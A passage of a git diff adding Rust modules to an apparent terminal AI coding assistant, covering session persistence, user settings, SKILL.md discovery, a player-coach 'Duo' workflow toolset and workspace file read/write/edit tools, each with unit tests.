Some(SystemPrompt::Blocks(blocks)) => Some( + blocks + .iter() + .map(|b| b.text.clone()) + .collect::>() + .join("\n\n---\n\n"), + ), + None => None, + } +} + +/// Truncate a string to create a title +fn truncate_title(s: &str, max_len: usize) -> String { + let s = s.trim(); + let first_line = s.lines().next().unwrap_or(s); + + if first_line.len() <= max_len { + first_line.to_string() + } else { + format!("{}...", &first_line[..max_len - 3]) + } +} + +/// Format a session for display in a picker +pub fn format_session_line(meta: &SessionMetadata) -> String { + let age = format_age(&meta.updated_at); + let truncated_title = truncate_title(&meta.title, 40); + + format!( + "{} | {} | {} msgs | {}", + &meta.id[..8], + truncated_title, + meta.message_count, + age + ) +} + +/// Format a datetime as relative age +fn format_age(dt: &DateTime) -> String { + let now = Utc::now(); + let duration = now.signed_duration_since(*dt); + + if duration.num_minutes() < 1 { + "just now".to_string() + } else if duration.num_hours() < 1 { + format!("{}m ago", duration.num_minutes()) + } else if duration.num_days() < 1 { + format!("{}h ago", duration.num_hours()) + } else if duration.num_weeks() < 1 { + format!("{}d ago", duration.num_days()) + } else { + format!("{}w ago", duration.num_weeks()) + } +} + +// === Unit Tests === + +#[cfg(test)] +mod tests { + use super::*; + use crate::models::ContentBlock; + use tempfile::tempdir; + + fn make_test_message(role: &str, text: &str) -> Message { + Message { + role: role.to_string(), + content: vec![ContentBlock::Text { + text: text.to_string(), + cache_control: None, + }], + } + } + + #[test] + fn test_session_manager_new() { + let tmp = tempdir().expect("tempdir"); + let manager = SessionManager::new(tmp.path().join("sessions")).expect("new"); + assert!(tmp.path().join("sessions").exists()); + let _ = manager; + } + + #[test] + fn test_save_and_load_session() { + let tmp = tempdir().expect("tempdir"); + let manager = SessionManager::new(tmp.path().join("sessions")).expect("new"); + + let messages = vec![ + make_test_message("user", "Hello!"), + make_test_message("assistant", "Hi there!"), + ]; + + let session = create_saved_session(&messages, "test-model", tmp.path(), 100, None); + let session_id = session.metadata.id.clone(); + + manager.save_session(&session).expect("save"); + + let loaded = manager.load_session(&session_id).expect("load"); + assert_eq!(loaded.metadata.id, session_id); + assert_eq!(loaded.messages.len(), 2); + } + + #[test] + fn test_list_sessions() { + let tmp = tempdir().expect("tempdir"); + let manager = SessionManager::new(tmp.path().join("sessions")).expect("new"); + + // Create a few sessions + for i in 0..3 { + let messages = vec![make_test_message("user", &format!("Session {i}"))]; + let session = create_saved_session(&messages, "test-model", tmp.path(), 100, None); + manager.save_session(&session).expect("save"); + } + + let sessions = manager.list_sessions().expect("list"); + assert_eq!(sessions.len(), 3); + } + + #[test] + fn test_load_by_prefix() { + let tmp = tempdir().expect("tempdir"); + let manager = SessionManager::new(tmp.path().join("sessions")).expect("new"); + + let messages = vec![make_test_message("user", "Test session")]; + let session = create_saved_session(&messages, "test-model", tmp.path(), 100, None); + let prefix = session.metadata.id[..8].to_string(); + manager.save_session(&session).expect("save"); + + let loaded = manager.load_session_by_prefix(&prefix).expect("load"); + assert_eq!(loaded.messages.len(), 1); + } + + #[test] + fn test_delete_session() { + let tmp = tempdir().expect("tempdir"); + let manager = SessionManager::new(tmp.path().join("sessions")).expect("new"); + + let messages = vec![make_test_message("user", "To be deleted")]; + let session = create_saved_session(&messages, "test-model", tmp.path(), 100, None); + let session_id = session.metadata.id.clone(); + + manager.save_session(&session).expect("save"); + assert!(manager.load_session(&session_id).is_ok()); + + manager.delete_session(&session_id).expect("delete"); + assert!(manager.load_session(&session_id).is_err()); + } + + #[test] + fn test_truncate_title() { + assert_eq!(truncate_title("Short", 50), "Short"); + assert_eq!( + truncate_title("This is a very long title that should be truncated", 20), + "This is a very lo..." + ); + assert_eq!(truncate_title("Line 1\nLine 2", 50), "Line 1"); + } + + #[test] + fn test_format_age() { + let now = Utc::now(); + assert_eq!(format_age(&now), "just now"); + + let hour_ago = now - chrono::Duration::hours(2); + assert_eq!(format_age(&hour_ago), "2h ago"); + + let day_ago = now - chrono::Duration::days(3); + assert_eq!(format_age(&day_ago), "3d ago"); + } + + #[test] + fn test_update_session() { + let tmp = tempdir().expect("tempdir"); + + let messages = vec![make_test_message("user", "Hello")]; + let session = create_saved_session(&messages, "test-model", tmp.path(), 50, None); + + let new_messages = vec![ + make_test_message("user", "Hello"), + make_test_message("assistant", "Hi!"), + ]; + + let updated = update_session(session, &new_messages, 100, None); + assert_eq!(updated.messages.len(), 2); + assert_eq!(updated.metadata.total_tokens, 100); + } +} diff --git a/src/settings.rs b/src/settings.rs new file mode 100644 index 00000000..36807da1 --- /dev/null +++ b/src/settings.rs @@ -0,0 +1,208 @@ +//! Settings system - Persistent user preferences +//! +//! Settings are stored at ~/.config/deepseek/settings.toml + +use std::path::PathBuf; + +use anyhow::{Context, Result}; +use serde::{Deserialize, Serialize}; + +/// User settings with defaults +#[derive(Debug, Clone, Serialize, Deserialize)] +#[serde(default)] +pub struct Settings { + /// Color theme: "default", "dark", "light" + pub theme: String, + /// Auto-compact conversations when they get long + pub auto_compact: bool, + /// Show thinking blocks from the model + pub show_thinking: bool, + /// Show detailed tool output + pub show_tool_details: bool, + /// Default mode: "agent", "plan", "yolo", "rlm", "duo" + pub default_mode: String, + /// Sidebar width as percentage of terminal width + pub sidebar_width_percent: u16, + /// Maximum number of input history entries to save + pub max_input_history: usize, + /// Default model to use + pub default_model: Option, +} + +impl Default for Settings { + fn default() -> Self { + Self { + theme: "default".to_string(), + auto_compact: true, + show_thinking: true, + show_tool_details: true, + default_mode: "agent".to_string(), + sidebar_width_percent: 28, + max_input_history: 100, + default_model: None, + } + } +} + +impl Settings { + /// Get the settings file path + pub fn path() -> Result { + let config_dir = dirs::config_dir() + .context("Failed to resolve config directory: not found.")? + .join("deepseek"); + Ok(config_dir.join("settings.toml")) + } + + /// Load settings from disk, or return defaults if not found + pub fn load() -> Result { + let path = Self::path()?; + if !path.exists() { + return Ok(Self::default()); + } + + let content = std::fs::read_to_string(&path) + .with_context(|| format!("Failed to read settings from {}", path.display()))?; + let mut settings: Settings = toml::from_str(&content) + .with_context(|| format!("Failed to parse settings from {}", path.display()))?; + settings.default_mode = normalize_mode(&settings.default_mode).to_string(); + Ok(settings) + } + + /// Save settings to disk + pub fn save(&self) -> Result<()> { + let path = Self::path()?; + + // Create config directory if it doesn't exist + if let Some(parent) = path.parent() { + std::fs::create_dir_all(parent).with_context(|| { + format!("Failed to create config directory {}", parent.display()) + })?; + } + + let content = toml::to_string_pretty(self).context("Failed to serialize settings")?; + std::fs::write(&path, content) + .with_context(|| format!("Failed to write settings to {}", path.display()))?; + Ok(()) + } + + /// Set a single setting by key + pub fn set(&mut self, key: &str, value: &str) -> Result<()> { + match key { + "theme" => { + if !["default", "dark", "light"].contains(&value) { + anyhow::bail!( + "Failed to update setting: invalid theme '{value}'. Expected: default, dark, light." + ); + } + self.theme = value.to_string(); + } + "auto_compact" | "compact" => { + self.auto_compact = parse_bool(value)?; + } + "show_thinking" | "thinking" => { + self.show_thinking = parse_bool(value)?; + } + "show_tool_details" | "tool_details" => { + self.show_tool_details = parse_bool(value)?; + } + "default_mode" | "mode" => { + let normalized = normalize_mode(value); + if !["agent", "plan", "yolo", "rlm", "duo"].contains(&normalized) { + anyhow::bail!( + "Failed to update setting: invalid mode '{value}'. Expected: agent, plan, yolo, rlm, duo." + ); + } + self.default_mode = normalized.to_string(); + } + "sidebar_width" | "sidebar" => { + let width: u16 = value + .parse() + .map_err(|_| { + anyhow::anyhow!( + "Failed to update setting: invalid width '{value}'. Expected a number between 10-50." + ) + })?; + if !(10..=50).contains(&width) { + anyhow::bail!( + "Failed to update setting: width must be between 10 and 50 percent." + ); + } + self.sidebar_width_percent = width; + } + "max_history" | "history" => { + let max: usize = value.parse().map_err(|_| { + anyhow::anyhow!( + "Failed to update setting: invalid max history '{value}'. Expected a positive number." + ) + })?; + self.max_input_history = max; + } + "default_model" | "model" => { + self.default_model = Some(value.to_string()); + } + _ => { + anyhow::bail!("Failed to update setting: unknown setting '{key}'."); + } + } + Ok(()) + } + + /// Get all settings as a displayable string + pub fn display(&self) -> String { + let mut lines = Vec::new(); + lines.push("Settings:".to_string()); + lines.push("─────────────────────────────".to_string()); + lines.push(format!(" theme: {}", self.theme)); + lines.push(format!(" auto_compact: {}", self.auto_compact)); + lines.push(format!(" show_thinking: {}", self.show_thinking)); + lines.push(format!(" show_tool_details: {}", self.show_tool_details)); + lines.push(format!(" default_mode: {}", self.default_mode)); + lines.push(format!( + " sidebar_width: {}%", + self.sidebar_width_percent + )); + lines.push(format!(" max_history: {}", self.max_input_history)); + lines.push(format!( + " default_model: {}", + self.default_model.as_deref().unwrap_or("(default)") + )); + lines.push(String::new()); + lines.push(format!( + "Config file: {}", + Self::path().map_or_else(|_| "(unknown)".to_string(), |p| p.display().to_string()) + )); + lines.join("\n") + } + + /// Get available setting keys and their descriptions + pub fn available_settings() -> Vec<(&'static str, &'static str)> { + vec![ + ("theme", "Color theme: default, dark, light"), + ("auto_compact", "Auto-compact conversations: on/off"), + ("show_thinking", "Show model thinking: on/off"), + ("show_tool_details", "Show detailed tool output: on/off"), + ("default_mode", "Default mode: agent, plan, yolo, rlm, duo"), + ("sidebar_width", "Sidebar width percentage: 10-50"), + ("max_history", "Max input history entries"), + ("default_model", "Default model name"), + ] + } +} + +/// Parse a boolean value from various formats +fn parse_bool(value: &str) -> Result { + match value.to_lowercase().as_str() { + "on" | "true" | "yes" | "1" | "enabled" => Ok(true), + "off" | "false" | "no" | "0" | "disabled" => Ok(false), + _ => { + anyhow::bail!("Failed to parse boolean '{value}': expected on/off, true/false, yes/no.") + } + } +} + +fn normalize_mode(value: &str) -> &str { + match value { + "edit" | "normal" => "agent", + _ => value, + } +} diff --git a/src/skills.rs b/src/skills.rs new file mode 100644 index 00000000..162ea74d --- /dev/null +++ b/src/skills.rs @@ -0,0 +1,154 @@ +//! Skill discovery and registry for local SKILL.md files. + +use std::fs; +use std::path::{Path, PathBuf}; + +use anyhow::{Context, Result}; + +// === Defaults === + +#[allow(dead_code)] +#[must_use] +pub fn default_skills_dir() -> PathBuf { + dirs::home_dir().map_or_else( + || PathBuf::from("/tmp/deepseek/skills"), + |p| p.join(".deepseek").join("skills"), + ) +} + +// === Types === + +/// Parsed representation of a SKILL.md definition. +#[derive(Debug, Clone)] +pub struct Skill { + pub name: String, + pub description: String, + pub body: String, +} + +/// Collection of discovered skills. +#[derive(Debug, Clone, Default)] +pub struct SkillRegistry { + skills: Vec, +} + +impl SkillRegistry { + /// Discover skills from the given directory. + #[must_use] + pub fn discover(dir: &Path) -> Self { + let mut registry = Self::default(); + if !dir.exists() { + return registry; + } + + if let Ok(entries) = fs::read_dir(dir) { + for entry in entries.flatten() { + if let Ok(ft) = entry.file_type() + && ft.is_dir() + { + let skill_path = entry.path().join("SKILL.md"); + if let Ok(content) = fs::read_to_string(&skill_path) + && let Some(skill) = Self::parse_skill(&skill_path, &content) + { + registry.skills.push(skill); + } + } + } + } + registry + } + + fn parse_skill(_path: &Path, content: &str) -> Option { + let trimmed = content.trim_start(); + let (frontmatter, body) = if trimmed.starts_with("---") { + let start = content.find("---")?; + let rest = &content[start + 3..]; + let end = rest.find("---")?; + (&rest[..end], &rest[end + 3..]) + } else { + let frontmatter_end = content.find("---")?; + (&content[..frontmatter_end], &content[frontmatter_end + 3..]) + }; + let name = frontmatter + .lines() + .find(|l| l.starts_with("name:")) + .and_then(|l| l.split(':').nth(1))? + .trim() + .to_string(); + + let description = frontmatter + .lines() + .find(|l| l.starts_with("description:")) + .and_then(|l| l.split(':').nth(1)) + .map(|s| s.trim().to_string()) + .unwrap_or_default(); + + let body = body.trim().to_string(); + + Some(Skill { + name, + description, + body, + }) + } + + /// Lookup a skill by name. + pub fn get(&self, name: &str) -> Option<&Skill> { + self.skills.iter().find(|s| s.name == name) + } + + /// Return all loaded skills. + pub fn list(&self) -> &[Skill] { + &self.skills + } + + /// Check whether any skills were loaded. + #[must_use] + pub fn is_empty(&self) -> bool { + self.skills.is_empty() + } + + /// Return the number of loaded skills. + #[must_use] + pub fn len(&self) -> usize { + self.skills.len() + } +} + +// === CLI Helpers === + +#[allow(dead_code)] // CLI utility for future use +pub fn list(skills_dir: &Path) -> Result<()> { + if !skills_dir.exists() { + println!("No skills directory found at {}", skills_dir.display()); + return Ok(()); + } + + let mut entries = Vec::new(); + for entry in fs::read_dir(skills_dir)? { + let entry = entry?; + if entry.file_type()?.is_dir() { + entries.push(entry.file_name().to_string_lossy().to_string()); + } + } + + if entries.is_empty() { + println!("No skills found in {}", skills_dir.display()); + return Ok(()); + } + + entries.sort(); + for entry in entries { + println!("{entry}"); + } + Ok(()) +} + +#[allow(dead_code)] // CLI utility for future use +pub fn show(skills_dir: &Path, name: &str) -> Result<()> { + let path = skills_dir.join(name).join("SKILL.md"); + let contents = + fs::read_to_string(&path).with_context(|| format!("Failed to read {}", path.display()))?; + println!("{contents}"); + Ok(()) +} diff --git a/src/tools/duo.rs b/src/tools/duo.rs new file mode 100644 index 00000000..56ed4a2e --- /dev/null +++ b/src/tools/duo.rs @@ -0,0 +1,468 @@ +//! Tools for Duo mode: Player-Coach autocoding workflow. + +use async_trait::async_trait; +use serde_json::{Value, json}; + +use crate::duo::{ + DuoPhase, SharedDuoSession, generate_coach_prompt, generate_player_prompt, session_summary, +}; +use crate::tools::spec::{ + ApprovalRequirement, ToolCapability, ToolContext, ToolError, ToolResult, ToolSpec, + optional_str, required_str, +}; + +/// Initialize an autocoding session with requirements. +pub struct DuoInitTool { + session: SharedDuoSession, +} + +impl DuoInitTool { + #[must_use] + pub fn new(session: SharedDuoSession) -> Self { + Self { session } + } +} + +#[async_trait] +impl ToolSpec for DuoInitTool { + fn name(&self) -> &'static str { + "duo_init" + } + + fn description(&self) -> &'static str { + "Initialize a Duo autocoding session with requirements. Returns session summary." + } + + fn input_schema(&self) -> Value { + json!({ + "type": "object", + "properties": { + "requirements": { + "type": "string", + "description": "The requirements document (source of truth). Should be structured as a checklist." + }, + "max_turns": { + "type": "integer", + "description": "Maximum turns before timeout (default: 10)" + }, + "session_name": { + "type": "string", + "description": "Optional human-readable session name (e.g., 'auth-feature')" + }, + "approval_threshold": { + "type": "number", + "description": "Minimum compliance score for approval (0-1, default: 0.9)" + } + }, + "required": ["requirements"] + }) + } + + fn capabilities(&self) -> Vec { + vec![ToolCapability::ReadOnly] + } + + fn approval_requirement(&self) -> ApprovalRequirement { + ApprovalRequirement::Auto + } + + async fn execute(&self, input: Value, _context: &ToolContext) -> Result { + let requirements = required_str(&input, "requirements")?; + let max_turns = input + .get("max_turns") + .and_then(|v| v.as_u64()) + .map(|v| v as u32); + let session_name = optional_str(&input, "session_name").map(str::to_string); + let approval_threshold = input.get("approval_threshold").and_then(|v| v.as_f64()); + + let mut session = self + .session + .lock() + .map_err(|_| ToolError::execution_failed("Failed to lock Duo session"))?; + + let state = session.start_session( + requirements.to_string(), + session_name, + max_turns, + approval_threshold, + ); + + let summary = state.summary(); + Ok(ToolResult::success(format!( + "Duo session initialized. Ready for player phase.\n\n{}", + summary + ))) + } +} + +/// Generate the player prompt for implementation. +pub struct DuoPlayerTool { + session: SharedDuoSession, +} + +impl DuoPlayerTool { + #[must_use] + pub fn new(session: SharedDuoSession) -> Self { + Self { session } + } +} + +#[async_trait] +impl ToolSpec for DuoPlayerTool { + fn name(&self) -> &'static str { + "duo_player" + } + + fn description(&self) -> &'static str { + "Generate the player prompt for implementation. Must be in Init or Player phase. Call after implementing to advance to Coach phase." + } + + fn input_schema(&self) -> Value { + json!({ + "type": "object", + "properties": { + "implementation_summary": { + "type": "string", + "description": "Optional summary of implementation work done (recorded in history)" + } + } + }) + } + + fn capabilities(&self) -> Vec { + vec![ToolCapability::ReadOnly] + } + + fn approval_requirement(&self) -> ApprovalRequirement { + ApprovalRequirement::Auto + } + + async fn execute(&self, input: Value, _context: &ToolContext) -> Result { + let implementation_summary = optional_str(&input, "implementation_summary") + .map(str::to_string) + .unwrap_or_else(|| "Implementation in progress".to_string()); + + let mut session = self + .session + .lock() + .map_err(|_| ToolError::execution_failed("Failed to lock Duo session"))?; + + let state = session + .get_active_mut() + .ok_or_else(|| ToolError::invalid_input("No active session. Call duo_init first."))?; + + // Check we're in a valid phase for player + match state.phase { + DuoPhase::Init | DuoPhase::Player => { + // Generate prompt first + let prompt = generate_player_prompt(state); + + // Advance to Coach phase + state + .advance_to_coach(implementation_summary) + .map_err(|e| ToolError::execution_failed(e.to_string()))?; + + Ok(ToolResult::success(format!( + "=== PLAYER PROMPT ===\n\n{}\n\n---\nAdvanced to Coach phase. Use duo_coach for verification.", + prompt + ))) + } + DuoPhase::Coach => Err(ToolError::invalid_input( + "Already in Coach phase. Use duo_coach to get verification prompt.", + )), + DuoPhase::Approved => Err(ToolError::invalid_input( + "Session already approved. Start a new session with duo_init.", + )), + DuoPhase::Timeout => Err(ToolError::invalid_input( + "Session timed out. Start a new session with duo_init.", + )), + } + } +} + +/// Generate the coach prompt for validation. +pub struct DuoCoachTool { + session: SharedDuoSession, +} + +impl DuoCoachTool { + #[must_use] + pub fn new(session: SharedDuoSession) -> Self { + Self { session } + } +} + +#[async_trait] +impl ToolSpec for DuoCoachTool { + fn name(&self) -> &'static str { + "duo_coach" + } + + fn description(&self) -> &'static str { + "Generate the coach prompt for validation. Must be in Coach phase. Does NOT advance state." + } + + fn input_schema(&self) -> Value { + json!({ + "type": "object", + "properties": {} + }) + } + + fn capabilities(&self) -> Vec { + vec![ToolCapability::ReadOnly] + } + + fn approval_requirement(&self) -> ApprovalRequirement { + ApprovalRequirement::Auto + } + + async fn execute( + &self, + _input: Value, + _context: &ToolContext, + ) -> Result { + let session = self + .session + .lock() + .map_err(|_| ToolError::execution_failed("Failed to lock Duo session"))?; + + let state = session + .get_active() + .ok_or_else(|| ToolError::invalid_input("No active session. Call duo_init first."))?; + + if state.phase != DuoPhase::Coach { + return Err(ToolError::invalid_input(format!( + "Expected Coach phase, but current phase is {}. Use duo_player first.", + state.phase + ))); + } + + let prompt = generate_coach_prompt(state); + + Ok(ToolResult::success(format!( + "=== COACH PROMPT ===\n\n{}\n\n---\nAfter verification, use duo_advance with feedback and approval status.", + prompt + ))) + } +} + +/// Advance the session after coach review. +pub struct DuoAdvanceTool { + session: SharedDuoSession, +} + +impl DuoAdvanceTool { + #[must_use] + pub fn new(session: SharedDuoSession) -> Self { + Self { session } + } +} + +#[async_trait] +impl ToolSpec for DuoAdvanceTool { + fn name(&self) -> &'static str { + "duo_advance" + } + + fn description(&self) -> &'static str { + "Advance the session after coach review. Updates turn count and records feedback. Returns new status." + } + + fn input_schema(&self) -> Value { + json!({ + "type": "object", + "properties": { + "feedback": { + "type": "string", + "description": "The coach's feedback text (compliance checklist and actions needed)" + }, + "approved": { + "type": "boolean", + "description": "Whether the coach approved the implementation (look for 'COACH APPROVED')" + }, + "compliance_score": { + "type": "number", + "description": "Optional compliance score (0-1) based on checklist items satisfied" + } + }, + "required": ["feedback", "approved"] + }) + } + + fn capabilities(&self) -> Vec { + vec![ToolCapability::ReadOnly] + } + + fn approval_requirement(&self) -> ApprovalRequirement { + ApprovalRequirement::Auto + } + + async fn execute(&self, input: Value, _context: &ToolContext) -> Result { + let feedback = required_str(&input, "feedback")?; + let approved = input + .get("approved") + .and_then(|v| v.as_bool()) + .ok_or_else(|| ToolError::missing_field("approved"))?; + let compliance_score = input.get("compliance_score").and_then(|v| v.as_f64()); + + let mut session = self + .session + .lock() + .map_err(|_| ToolError::execution_failed("Failed to lock Duo session"))?; + + let state = session + .get_active_mut() + .ok_or_else(|| ToolError::invalid_input("No active session. Call duo_init first."))?; + + if state.phase != DuoPhase::Coach { + return Err(ToolError::invalid_input(format!( + "Expected Coach phase, but current phase is {}", + state.phase + ))); + } + + // Advance the turn + state + .advance_turn(feedback.to_string(), approved, compliance_score) + .map_err(|e| ToolError::execution_failed(e.to_string()))?; + + // Determine status message based on new phase + let status_msg = match state.phase { + DuoPhase::Approved => "🎉 APPROVED! All requirements verified.", + DuoPhase::Timeout => "⏰ TIMEOUT. Max turns reached without approval.", + DuoPhase::Player => "🔄 Continuing to next player turn...", + _ => "Session updated.", + }; + + let summary = state.summary(); + let mut result = ToolResult::success(format!("{}\n\n{}", status_msg, summary)); + result.metadata = Some(json!({ + "phase": state.phase.to_string(), + "status": state.status.to_string(), + "turn": state.current_turn, + "max_turns": state.max_turns, + "approved": approved, + "compliance_score": compliance_score, + "is_complete": state.is_complete(), + })); + + Ok(result) + } +} + +/// Show the current session status. +pub struct DuoStatusTool { + session: SharedDuoSession, +} + +impl DuoStatusTool { + #[must_use] + pub fn new(session: SharedDuoSession) -> Self { + Self { session } + } +} + +#[async_trait] +impl ToolSpec for DuoStatusTool { + fn name(&self) -> &'static str { + "duo_status" + } + + fn description(&self) -> &'static str { + "Show the current Duo session status including phase, turn count, and requirements." + } + + fn input_schema(&self) -> Value { + json!({ + "type": "object", + "properties": {} + }) + } + + fn capabilities(&self) -> Vec { + vec![ToolCapability::ReadOnly] + } + + fn approval_requirement(&self) -> ApprovalRequirement { + ApprovalRequirement::Auto + } + + async fn execute( + &self, + _input: Value, + _context: &ToolContext, + ) -> Result { + let session = self + .session + .lock() + .map_err(|_| ToolError::execution_failed("Failed to lock Duo session"))?; + + Ok(ToolResult::success(session_summary(&session))) + } +} + +#[cfg(test)] +mod tests { + use super::*; + use crate::duo::new_shared_duo_session; + + #[test] + fn test_duo_init_tool_schema() { + let session = new_shared_duo_session(); + let tool = DuoInitTool::new(session); + + assert_eq!(tool.name(), "duo_init"); + assert_eq!(tool.approval_requirement(), ApprovalRequirement::Auto); + + let schema = tool.input_schema(); + assert!(schema.get("properties").is_some()); + assert!( + schema["required"] + .as_array() + .unwrap() + .contains(&json!("requirements")) + ); + } + + #[test] + fn test_duo_player_tool_schema() { + let session = new_shared_duo_session(); + let tool = DuoPlayerTool::new(session); + + assert_eq!(tool.name(), "duo_player"); + assert_eq!(tool.approval_requirement(), ApprovalRequirement::Auto); + } + + #[test] + fn test_duo_coach_tool_schema() { + let session = new_shared_duo_session(); + let tool = DuoCoachTool::new(session); + + assert_eq!(tool.name(), "duo_coach"); + assert_eq!(tool.approval_requirement(), ApprovalRequirement::Auto); + } + + #[test] + fn test_duo_advance_tool_schema() { + let session = new_shared_duo_session(); + let tool = DuoAdvanceTool::new(session); + + assert_eq!(tool.name(), "duo_advance"); + assert_eq!(tool.approval_requirement(), ApprovalRequirement::Auto); + + let schema = tool.input_schema(); + let required = schema["required"].as_array().unwrap(); + assert!(required.contains(&json!("feedback"))); + assert!(required.contains(&json!("approved"))); + } + + #[test] + fn test_duo_status_tool_schema() { + let session = new_shared_duo_session(); + let tool = DuoStatusTool::new(session); + + assert_eq!(tool.name(), "duo_status"); + assert_eq!(tool.approval_requirement(), ApprovalRequirement::Auto); + } +} diff --git a/src/tools/file.rs b/src/tools/file.rs new file mode 100644 index 00000000..53b62e4b --- /dev/null +++ b/src/tools/file.rs @@ -0,0 +1,540 @@ +//! File system tools: `read_file`, `write_file`, `edit_file`, `list_dir` +//! +//! These tools provide safe file system operations within the workspace, +//! with path validation to prevent escaping the workspace boundary. + +use super::spec::{ + ApprovalRequirement, ToolCapability, ToolContext, ToolError, ToolResult, ToolSpec, + optional_str, required_str, +}; +use async_trait::async_trait; +use serde_json::{Value, json}; +use std::fs; + +// === ReadFileTool === + +/// Tool for reading UTF-8 files from the workspace. +pub struct ReadFileTool; + +#[async_trait] +impl ToolSpec for ReadFileTool { + fn name(&self) -> &'static str { + "read_file" + } + + fn description(&self) -> &'static str { + "Read a UTF-8 file from the workspace." + } + + fn input_schema(&self) -> Value { + json!({ + "type": "object", + "properties": { + "path": { + "type": "string", + "description": "Path to the file (relative to workspace or absolute)" + } + }, + "required": ["path"] + }) + } + + fn capabilities(&self) -> Vec { + vec![ToolCapability::ReadOnly, ToolCapability::Sandboxable] + } + + fn supports_parallel(&self) -> bool { + true + } + + async fn execute(&self, input: Value, context: &ToolContext) -> Result { + let path_str = required_str(&input, "path")?; + let file_path = context.resolve_path(path_str)?; + + let contents = fs::read_to_string(&file_path).map_err(|e| { + ToolError::execution_failed(format!("Failed to read {}: {}", file_path.display(), e)) + })?; + + Ok(ToolResult::success(contents)) + } +} + +// === WriteFileTool === + +/// Tool for writing UTF-8 files to the workspace. +pub struct WriteFileTool; + +#[async_trait] +impl ToolSpec for WriteFileTool { + fn name(&self) -> &'static str { + "write_file" + } + + fn description(&self) -> &'static str { + "Write content to a UTF-8 file in the workspace." + } + + fn input_schema(&self) -> Value { + json!({ + "type": "object", + "properties": { + "path": { + "type": "string", + "description": "Path to the file" + }, + "content": { + "type": "string", + "description": "Content to write" + } + }, + "required": ["path", "content"] + }) + } + + fn capabilities(&self) -> Vec { + vec![ + ToolCapability::WritesFiles, + ToolCapability::Sandboxable, + ToolCapability::RequiresApproval, + ] + } + + fn approval_requirement(&self) -> ApprovalRequirement { + ApprovalRequirement::Suggest + } + + async fn execute(&self, input: Value, context: &ToolContext) -> Result { + let path_str = required_str(&input, "path")?; + let file_content = required_str(&input, "content")?; + + let file_path = context.resolve_path(path_str)?; + + // Create parent directories if needed + if let Some(parent) = file_path.parent() { + fs::create_dir_all(parent).map_err(|e| { + ToolError::execution_failed(format!( + "Failed to create directory {}: {}", + parent.display(), + e + )) + })?; + } + + fs::write(&file_path, file_content).map_err(|e| { + ToolError::execution_failed(format!("Failed to write {}: {}", file_path.display(), e)) + })?; + + Ok(ToolResult::success(format!( + "Wrote {} bytes to {}", + file_content.len(), + file_path.display() + ))) + } +} + +// === EditFileTool === + +/// Tool for search/replace editing of files. +pub struct EditFileTool; + +#[async_trait] +impl ToolSpec for EditFileTool { + fn name(&self) -> &'static str { + "edit_file" + } + + fn description(&self) -> &'static str { + "Replace text in a file using search/replace." + } + + fn input_schema(&self) -> Value { + json!({ + "type": "object", + "properties": { + "path": { + "type": "string", + "description": "Path to the file" + }, + "search": { + "type": "string", + "description": "Text to search for" + }, + "replace": { + "type": "string", + "description": "Text to replace with" + } + }, + "required": ["path", "search", "replace"] + }) + } + + fn capabilities(&self) -> Vec { + vec![ + ToolCapability::WritesFiles, + ToolCapability::Sandboxable, + ToolCapability::RequiresApproval, + ] + } + + fn approval_requirement(&self) -> ApprovalRequirement { + ApprovalRequirement::Suggest + } + + async fn execute(&self, input: Value, context: &ToolContext) -> Result { + let path_str = required_str(&input, "path")?; + let search = required_str(&input, "search")?; + let replace = required_str(&input, "replace")?; + + let file_path = context.resolve_path(path_str)?; + + let contents = fs::read_to_string(&file_path).map_err(|e| { + ToolError::execution_failed(format!("Failed to read {}: {}", file_path.display(), e)) + })?; + + let count = contents.matches(search).count(); + if count == 0 { + return Err(ToolError::execution_failed(format!( + "Search string not found in {}", + file_path.display() + ))); + } + + let updated = contents.replace(search, replace); + + fs::write(&file_path, &updated).map_err(|e| { + ToolError::execution_failed(format!("Failed to write {}: {}", file_path.display(), e)) + })?; + + Ok(ToolResult::success(format!( + "Replaced {} occurrence(s) in {}", + count, + file_path.display() + ))) + } +} + +// === ListDirTool === + +/// Tool for listing directory contents. +pub struct ListDirTool; + +#[async_trait] +impl ToolSpec for ListDirTool { + fn name(&self) -> &'static str { + "list_dir" + } + + fn description(&self) -> &'static str { + "List entries in a directory relative to the workspace." + } + + fn input_schema(&self) -> Value { + json!({ + "type": "object", + "properties": { + "path": { + "type": "string", + "description": "Relative path (default: .)" + } + }, + "required": [] + }) + } + + fn capabilities(&self) -> Vec { + vec![ToolCapability::ReadOnly, ToolCapability::Sandboxable] + } + + fn supports_parallel(&self) -> bool { + true + } + + async fn execute(&self, input: Value, context: &ToolContext) -> Result { + let path_str = optional_str(&input, "path").unwrap_or("."); + let dir_path = context.resolve_path(path_str)?; + + let mut entries = Vec::new(); + + for entry in fs::read_dir(&dir_path).map_err(|e| { + ToolError::execution_failed(format!( + "Failed to read directory {}: {}", + dir_path.display(), + e + )) + })? { + let entry = entry.map_err(|e| ToolError::execution_failed(e.to_string()))?; + let file_type = entry + .file_type() + .map_err(|e| ToolError::execution_failed(e.to_string()))?; + + entries.push(json!({ + "name": entry.file_name().to_string_lossy().to_string(), + "is_dir": file_type.is_dir(), + })); + } + + ToolResult::json(&entries).map_err(|e| ToolError::execution_failed(e.to_string())) + } +} + +// === Unit Tests === + +#[cfg(test)] +mod tests { + use super::*; + use tempfile::tempdir; + + #[tokio::test] + async fn test_read_file_tool() { + let tmp = tempdir().expect("tempdir"); + let ctx = ToolContext::new(tmp.path().to_path_buf()); + + // Create a test file + let test_file = tmp.path().join("test.txt"); + fs::write(&test_file, "hello world").expect("write"); + + let tool = ReadFileTool; + let result = tool + .execute(json!({"path": "test.txt"}), &ctx) + .await + .expect("execute"); + + assert!(result.success); + assert_eq!(result.content, "hello world"); + } + + #[tokio::test] + async fn test_read_file_not_found() { + let tmp = tempdir().expect("tempdir"); + let ctx = ToolContext::new(tmp.path().to_path_buf()); + + let tool = ReadFileTool; + let result = tool.execute(json!({"path": "nonexistent.txt"}), &ctx).await; + + assert!(result.is_err()); + } + + #[tokio::test] + async fn test_read_file_missing_path() { + let tmp = tempdir().expect("tempdir"); + let ctx = ToolContext::new(tmp.path().to_path_buf()); + + let tool = ReadFileTool; + let result = tool.execute(json!({}), &ctx).await; + + assert!(result.is_err()); + let err = result.unwrap_err(); + assert!( + err.to_string() + .contains("Failed to validate input: missing required field 'path'") + ); + } + + #[tokio::test] + async fn test_write_file_tool() { + let tmp = tempdir().expect("tempdir"); + let ctx = ToolContext::new(tmp.path().to_path_buf()); + + let tool = WriteFileTool; + let result = tool + .execute( + json!({"path": "output.txt", "content": "test content"}), + &ctx, + ) + .await + .expect("execute"); + + assert!(result.success); + assert!(result.content.contains("Wrote")); + + // Verify file was written + let written = 